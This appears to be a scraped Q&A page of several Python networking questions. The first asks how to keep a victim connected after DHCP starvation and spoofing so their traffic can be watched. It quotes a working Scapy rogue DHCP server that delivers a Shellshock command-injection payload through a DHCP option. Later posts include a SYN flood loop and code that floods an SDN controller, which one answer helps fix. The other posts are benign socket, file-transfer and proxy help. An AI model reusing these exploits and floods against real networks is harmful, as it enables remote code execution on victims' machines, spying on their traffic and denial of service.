continue net connection of victim after DHCP spoofing attack - scapy

I'm performing a dhcp spoofing attack. First I run a dhcp starvation attack which depletes the ip pool of my router. Then I execute the dhcp spoofing code which assigns a fake ip to my victim device, when it tries to connect to the wireless router.
My problem is, after my victim device is assigned the fake ip it can no longer access the internet. In a real case scenario, if the victim gets disconnected from the internet, they will know something is wrong, also there's no point to a spoofing attack if I cannot see the victim's activity.
So, how do I connect my victim to the internet with the fake ip? yes i know the DHCP rouge server will act as the real server for the victim, but how exactly is the implementation supposed to be, since in my case the dhcp rouge server is my pc and not a router.
Here is the dhcp spoofing code taken from github.
#! /usr/bin/env python
#Based on the PoC from https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
import binascii
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
parser = argparse.ArgumentParser(description='DHCPSock', epilog='Shock dem shells!')
parser.add_argument('-i', '--iface', type=str, required=True, help='Interface to use')
parser.add_argument('-c', '--cmd', type=str, help='Command to execute [default: "echo pwned"]')
args = parser.parse_args()
command = args.cmd or "echo 'pwned'"
if os.geteuid() != 0:
sys.exit("Run me as r00t")
#BOOTP
#siaddr = DHCP server ip
#yiaddr = ip offered to client
#xid = transaction id
#chaddr = clients mac address in binary format
def dhcp_offer(raw_mac, xid):
print "in dhcp_offer"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
#print packet.show()
return packet
def dhcp_ack(raw_mac, xid, command):
print "in dhcp_ack"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
(114, "() { ignored;}; " + command),
"end"]))
#print packet.show()
return packet
def dhcp(resp):
if resp.haslayer(DHCP):
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if resp[DHCP].options[0][1] == 1:
xid = resp[BOOTP].xid
print "[*] Got dhcp DISCOVER from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending OFFER..."
packet = dhcp_offer(raw_mac, xid)
#packet.plot(lambda x:len(x))
#packet.pdfdump("test.pdf")
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
if resp[DHCP].options[0][1] == 3:
xid = resp[BOOTP].xid
print "[*] Got dhcp REQUEST from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending ACK..."
packet = dhcp_ack(raw_mac, xid, command)
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
print "[*] Waiting for a DISCOVER..."
sniff(filter="udp and (port 67 or 68)", prn=dhcp, iface=args.iface)
#sniff(filter="udp and (port 67 or 68)", prn=dhcp)

Related

Forwarding packets to windows

I wrote a code to send a packet from my Kali Linux machine to my Windows PC but the packet doesn't show in Wireshark. There are no errors in the code and it sends the packets but they are not received.
Any one can help ?
#!/usr/bin/python
from scapy.all import *
def synflood(src,tgt,message):
for dport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=4444, dport=dport)
RAWlayer = Raw(load=message)
pkt = IPlayer/TCPlayer
send(pkt)
source = input("src: ")
target = input("targert : ")
message = input(" load : ")
while True:
synflood(source,target,message)
Update: So i fixed the problem! i tried replacing the for statement by "dport = 80" and for the target IP i chose another dest IP than my pc aand it showed up in wireshark, that's how i realised that i should configure an internal VM network instead of the bridged one , and it worked

Unable to create OpenFlow13 message with Scapy

I am writing a code where I am capturing openflow13 packets using tcpdump and wireshark. I am running mininet topo and floodlight SDN controller. Once I get my SDN controller IP and port details from the capture, I intent to create multiple OFPTHello messages and send it to the SDN Controller [sort of DDoS attack]. Although I am able to extract the controller's details, I am unable to create Scapy OFPTHello message packets.
Request to please help me identify and resolve the issue
Mininet Topo I am running-
sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13
My Code-
#!/usr/bin/env python3
try:
import time
import subprocess
import json
import sys
from scapy.all import *
from scapy.contrib.openflow import _ofp_header
from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
from scapy.layers.l2 import Ether
ofp_table = {0xfe: "MAX",
0xff: "ALL"}
ofp_buffer = {0xffffffff: "NO_BUFFER"}
ofp_version = {0x04: "OpenFlow 1.3"}
ofp_type = {0: "OFPT_HELLO"}
class OFPHET(_ofp_header):
#classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 2:
t = struct.unpack("!H", _pkt[:2])[0]
return ofp_hello_elem_cls.get(t, Raw)
return Raw
def extract_padding(self, s):
return b"", s
class OFPTHello(_ofp_header):
name = "OFPT_HELLO"
fields_desc = [ByteEnumField("version", 0x04, ofp_version),
ByteEnumField("type", 0, ofp_type),
ShortField("len", None),
IntField("xid", 0),
PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]
# Capture controller's IP address and Port
Hello_Msg = []
Switch_TCP_Port = []
p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
time.sleep(45)
p.terminate()
captures = rdpcap('capture.pcap')
for capture in captures:
msg = (capture.summary()).split(" ")
i = len(msg)
if (msg[i-1] == "OFPTFeaturesRequest"):
Features_Request = capture.summary()
break;
elif (msg[i-1] == "OFPTHello"):
Hello_Msg.append(capture.summary())
for Hello in Hello_Msg:
frame = Hello.split("/")[2]
port = ((frame.split(" ")[2]).split(":"))[1]
Switch_TCP_Port.append(port)
Features_Request = Features_Request.split("/")[2]
Source_Frame = (Features_Request.split(" ")[2]).split(":")
Controller_IP = Source_Frame[0]
Controller_Port = int(Source_Frame[1])
print("\nController's IP Address: %s"%Controller_IP)
print("Controller's Port: %s"%Controller_Port)
# Generating Openfow PAcket_In using Scapy
for p in Switch_TCP_Port:
p = int(p)
packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
send(packet)
except ImportError as e:
print ("\n!!! ImportError !!!")
print ("{0}. Install it.\n".format(e))
Wireshark Capture- [Only has 4 hello packets, no Scapy packets are captured]
Question/Issue- I am able to receive the ideal number of 4 hello packets from the mininet topology. However, the new hello packets I am trying to create using scapy are not being sent/ captured by wireshark. I have attached my scapy code for reference.
In your code do this
modify the line:
send(packet)
To
send(packet,iface='eth1') where eth1 is the egress interface of the attacking VM
The reason is that even if a malformed Openflow packet is put on the wire, Wireshark will still be able to capture it, assuming your attack VM has a route to the controller VM. This means that your code is not putting the Packet on the right wire, send(packet,iface='eth1') will put it on the right wire.

How to connect to another PC through different networks

When I run both codes on my PC they work. However when I give my friend one of the code to connect with me it doesn't work. Were both on different networks.
I've tried using my Hostname on both. I also tried to use my local IP.
Bottom code I use
import os
import socket
s = socket.socket()
port = 8079
s.bind(("My_Host_Name",port))
print("Scanning income connections")
s.listen(1)
conn, addr = s.accept()
print("Connected to:",addr)
while 1:
#Sender
command = input(str("Me: "))
command = command.encode()
conn.send(command)
print("")
#Reciever
data = conn.recv(1024)
data = data.decode()
print("Anonymous: "+data)
print("")
The bottom one is the one I give my friend
import os
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "My_Host_Name"
port = 8079
s.connect((host,port))
while 1:
#Reciever
data = s.recv(1024)
data = data.decode()
print("Anonymous: " + data)
print("")
#Sender
command = input(str("Me: "))
command = command.encode()
s.send(command)
print("")
I expect it to connect through different networks
In order for your friend to connect, your server app needs to bind() to a local LAN IP/port of the PC it is running on, and then your client app needs to connect() to the public WAN IP/port of your network router, not the server's LAN IP/port. Your router needs to be configured to port-forward connections from the WAN IP/port to the server's LAN IP/Port. If your router supports uPNP, you can setup that forwarding programmatically in your server code, otherwise you will have to configure it manually in the router's admin interface.

How to fix windows decline error for lan file transfer

I'm a 14 year old beginner in software design but have good knowledge in python basic and acute amounts in networking. i recently got a raspberry pi 3 b+ brand new and am trying to make a python program that will allow me to transmit information input from my hp PC to my pi so it can display the info, this project is to help me with school, i have code typed and it runs but when i try to run the "client code", this is so my pi can receive the input data, i get an error saying that the device has declined my connection request, what should i do to fix the issue? if you want to see the code i can post it, but i'm not sure if that is necessary.
i only tried changing the port number in both programs, since that is not the issue and i' new to LAN and networking, i haven't tried anything else.
as requested my code is:(not HTML, CSS, or HTML. it's just easier to use that interface.
# send.py
import socket # Import socket module
port = 60000 # Reserve a port for your service.
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
s.bind((host, port)) # Bind to the port
s.listen(5) # Now wait for client connection.
print 'Server listening....'
while True:
conn, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
data = conn.recv(1024)
print('Server received', repr(data))
filename='mytext.txt'
f = open(filename,'rb')
l = f.read(1024)
while (l):
conn.send(l)
print('Sent ',repr(l))
l = f.read(1024)
f.close()
print('Done sending')
conn.send('Thank you for connecting')
conn.close()
# recieve.py
import socket # Import socket module
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 60000 # Reserve a port for your service.
s.connect((host, port))
s.send("Hello server!")
with open('received_file', 'wb') as f:
print 'file opened'
while True:
print('receiving data...')
data = s.recv(1024)
print('data=%s', (data))
if not data:
break
# write data to a file
f.write(data)
f.close()
print('Successfully get the file')
s.close()
print('connection closed')
Unfortunately, this answer requires Python 3.5+.
Before running this code please make sure you've worked out which IP you will be using for your server and client (help at the bottom).
Step 1 - Ensure a simple ping works
Server code:
import socket
# FIND IP
# The IP to use will be different depending
# on whether you have WiFi or Ethernet, so
# you need to choose whichever one that is
ips = socket.gethostbyname_ex(socket.gethostname())[-1]
print(*[f"{i}: {j}" for i, j in enumerate(ips)], sep="\n")
ip = ips[int(input(" > "))]
# SELECT PORT
port = 10000
#SETUP SERVER
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, port))
# A queue of 1 clients is more than enough for our application
sock.listen(1)
print(f"Listening on {ip}:{port}")
while True:
try:
(clientsock, address) = sock.accept()
# so if there's nothing to read we don't wait too long
clientsock.settimeout(0.01)
ping_string = clientsock.recv(5).decode()
if ping_string == "ping!":
print("ping!")
clientsock.sendall(b"ping!")
else:
print("no ping!")
print(ping_string)
clientsock.sendall(b"nopng")
clientsock.shutdown(1)
clientsock.close()
except KeyboardInterrupt:
# Add a way to safely exit the infinite loop
break
sock.close()
Client code:
import socket
# GET IP
print("IP of server")
ip = input(" > ")
# SELECT PORT
port = 10000
# SETUP SOCKET
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
print(f"Conencted to {ip}:{port}")
# so if there's nothing to read we don't wait too long
sock.settimeout(0.01)
sock.sendall(b"ping!")
ping_string = sock.recv(5).decode()
if ping_string == "ping!":
print("ping!")
else:
print("no ping!")
sock.close()
OUTPUT:
Server:
0: 192.168.56.1
1: 192.168.1.151
> 1
Listening on 192.168.1.151:10000
Client:
Type ip of server
> 192.168.1.151
Conencted to 192.168.1.151:10000
ping!
If this doesn't work, make sure your computer can ping your raspberry pi, and vice versa. Go into CMD (I presume your HP PC is Windows) and type ping ____ (replacing ____ with the internal ip address of your raspberry pi.
If the terminal doesn't appear to be pinging something, you need to go onto your computer and raspberry pi to find they're internal ips, which you can find out how to do online.
Step 2 - The fun part
We're now going to setup your file server.
Server code:
import socket
# OPEN FILE TO SEND ACROSS
with open("filesend.txt", mode="rb") as file:
file_string = file.read()
# FIND IP
# The IP to use will be different depending
# on whether you have WiFi or Ethernet, so
# you need to choose whichever one that is
ips = socket.gethostbyname_ex(socket.gethostname())[-1]
print(*[f"{i}: {j}" for i, j in enumerate(ips)], sep="\n")
ip = ips[int(input(" > "))]
# SELECT PORT
port = 10000
#SETUP SERVER
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, port))
# A queue of 1 clients is more than enough for our application
sock.listen(1)
print(f"Listening on {ip}:{port}")
while True:
try:
(clientsock, address) = sock.accept()
# so if there's nothing to read we don't wait too long
clientsock.settimeout(0.01)
# send length
clientsock.sendall((str(len(file_string)) + ".").encode())
clientsock.sendall(file_string)
print("Sent file!")
response_code = clientsock.recv(1).decode()
if response_code != "0":
print("ERROR! response was not 0")
print(response_code)
clientsock.shutdown(1)
clientsock.close()
except KeyboardInterrupt:
# Add a way to safely exit the infinite loop
break
sock.close()
Client code:
import socket
# SELECT IP
print("IP of server")
ip = input(" > ")
# SELECT PORT
port = 10000
# SETUP SOCKET
# Create server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
print(f"Conencted to {ip}:{port}")
# so if there's nothing to read we don't wait too long
sock.settimeout(0.01)
# Get length of file sent across
len_string = ""
c = ""
while c != ".":
c = sock.recv(1).decode()
len_string += c
length = int(len_string[:-1])
file_string = sock.recv(length)
# send a status code back to the server
sock.sendall(b"0")
with open("filerecv.txt", mode="wb") as file:
file.write(file_string)
print(file_string.decode())
sock.close()
OUTPUT:
Server:
0: 192.168.56.1
1: 192.168.1.151
> 1
Listening on 192.168.1.151:10000
Client:
IP of server
> 192.168.1.151
Conencted to 192.168.1.151:10000
THIS IS A TEST!
Once again, ensure the ip you tell the client to connect to is the same as the one you have selected from the list provided in the server script. Also ensure that the ip address can be connected to, ie don't use the one for when the pc's on WiFi if it's currently on Ethernet.
Hope this works for you. Any issues leave down in the comments :)
EDIT
WINDOWS
Sample output from ipconfig:
> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : home
IPv6 Address. . . . . . . . . . . : 2a00:23c6:6586:2400:e47a:c60e:812b:1123
IPv6 Address. . . . . . . . . . . : fdaa:bbcc:ddee:0:e47a:c60e:812b:1123
Temporary IPv6 Address. . . . . . : 2a00:23c6:6586:2400:d1fe:95f5:27c3:c4b8
Temporary IPv6 Address. . . . . . : fdaa:bbcc:ddee:0:d1fe:95f5:27c3:c4b8
Link-local IPv6 Address . . . . . : fe80::e47a:c60e:812b:1123%19
IPv4 Address. . . . . . . . . . . : 192.168.1.151
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::8aa6:c6ff:fe23:7a15%19
192.168.1.254
You're looking for this line:
IPv4 Address. . . . . . . . . . . : 192.168.1.151
And the IP is whatever value is at the end (eg 192.168.1.151)
FIND THE IP OF YOUR RASPBERRY PI
Unless you've changed some advanced settings your Raspberry Pi's hostname will be raspberrypi, or raspberrypi.local. I've seen both. If you want to know the IP address, use the Python script below, and try to ping all the IPs from the list it prints to find out which one IP is actually used by the Pi.
Run this on your PC:
import socket
host1 = "raspberrypi"
host2 = "raspberrypi.local"
try:
ip1 = socket.gethostbyname_ex(host1)[-1]
except:
ip1 = []
try:
ip2 = socket.gethostbyname_ex(host2)[-1]
except:
ip2 = []
print(list(set(ip1+ip2)))
Any more issues, please let me know :)

Close a HTTP Proxy Server

I have a little problem with my code, I'm doing a HTTP Proxy Server and I send it a random number of HTTP Request and I want that my program close when I stop of send.
I think the problem is in the accept because the program still working always
I tried to put a recv after the accept for checking if there if empty but the program does't arrive there
My code is the following
from socket import *
from _thread import *
MAX_DATA_RECV = 4096 # max number of bytes we receive at once
def start(port_5, my_port):
s=socket(AF_INET, SOCK_STREAM)
s.bind(('', my_port))
s.listen(1)
while 1:
try:
conn, client_addr = s.accept()
except KeyboardInterrupt:
print('\nProgram closed. Interrupted by the user')
exit()
proxy_thread(conn, client_addr)
s.close()
def proxy_thread(conn, client_addr):
# get the request from browser
request = conn.recv(MAX_DATA_RECV).decode('utf-8')
# parse the first line
first_line = request.split('n')[0]
# get url
url = first_line.split(' ')[1]
# find the webserver and port
http_pos = url.find("://") # find pos of ://
if (http_pos==-1):
temp = url
else:
temp = url[(http_pos+3):] # get the rest of url
port_pos = temp.find(":") # find the port pos (if any)
# find end of web server
webserver_pos = temp.find("/")
if webserver_pos == -1:
webserver_pos = len(temp)
webserver = ""
port = -1
if (port_pos==-1 or webserver_pos < port_pos): # default port
port = 80
webserver = temp[:webserver_pos]
else: # specific port
port = int((temp[(port_pos+1):])[:webserver_pos-port_pos-1])
webserver = temp[:port_pos]
print("Connect to:", webserver, port)
# create a socket to connect to the web server
s = socket(AF_INET, SOCK_STREAM)
s.connect((webserver, port))
s.send(request.encode()) # send request to webserver
print(temp)
while 1:
# receive data from web server
data = s.recv(MAX_DATA_RECV)
if (len(data) > 0):
# send to browser
conn.send(data)
else:
break
s.close()
conn.close()
If someone is able to help me, thanks in advance
I want that my program close when I stop of send
At the network level there is no implicit indicator that the other side will not send anymore. If all requests would be done through a single TCP connection then the end of the connection might be treated as such an indicator. But you are using a new TCP connection for every request so you need to define your own condition(s) how the server should determine that the client will not send anymore.
This could for example a timeout, i.e. if the client has not sent any more request for 20 seconds then the client is treated as dead. Or it might be a special message by the client to signal the end - in which case your code needs to explicitly look for this message.

Resources